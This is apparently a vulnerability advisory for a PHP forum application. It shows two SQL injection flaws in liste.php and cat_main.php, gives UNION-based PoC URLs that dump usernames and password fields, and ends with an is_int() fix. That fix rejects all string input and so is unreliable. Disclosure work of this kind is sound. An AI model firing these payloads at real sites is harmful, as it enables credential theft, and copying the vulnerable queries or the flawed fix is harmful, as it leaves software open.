Bug #1 in modules/forum/liste.php :

 First, this bugged page is included through forum.php :
    <?php
     //forum.php
     [...]
 34. if($action == "liste") {
 35. include ("./modules/forum/liste.php");
 36. }
     [...]
	?> 	
	
 And now the bugged code :-) :
    <?php
      //liste.php
      [...]
  5.  $select = 'SELECT * FROM categorie_du_forum WHERE id='.$cat.' ';
  6.  $result = mysql_query($select,$link) or die ('Erreur : '.mysql_error() );
  7.  $total = mysql_num_rows($result);
      [...]
    ?>
    
 So we can exploit it with this simple PoC:
 forum.php?action=liste&cat=-1+union+select+0,concat(pseudo,0x3a,passe),0,0,0,0,0,0,0,0+from+utiliz+where+id=1
      
Bug #2 in cat_main.php :

    <?php
     //cat_main.php
     [...]
 32. $select3 = 'SELECT * FROM menu WHERE valider="oui" AND id='.$id.' ';
 33. $result3 = mysql_query($select3,$link) or die ('Erreur : '.mysql_error() );
 34. $total3 = mysql_num_rows($result3);  
     [...]
     ?>
     
 So like the first we can exploit it with:
 cat_main.php?id=-1+union+select+0,concat(pseudo,0x3a,passe),0,0,0,0,0,0+from+utiliz+where+id=1
 
 Fix :
 
     <?php
      //liste.php
      [...]
  5.  if(!is_int($cat)){ die("Hacking Attempt"); }    
  6.  $select = 'SELECT * FROM categorie_du_forum WHERE id='.$cat.' ';
  7.  $result = mysql_query($select,$link) or die ('Erreur : '.mysql_error() );
  8.  $total = mysql_num_rows($result);
      [...]
    ?>
    
    <?php
     //cat_main.php
     [...]
 32. if(!is_int($id)){ die("Hacking Attempt"); }       
 33. $select3 = 'SELECT * FROM menu WHERE valider="oui" AND id='.$id.' ';
 34. $result3 = mysql_query($select3,$link) or die ('Erreur : '.mysql_error() );
 35. $total3 = mysql_num_rows($result3);  
     [...]
     ?>
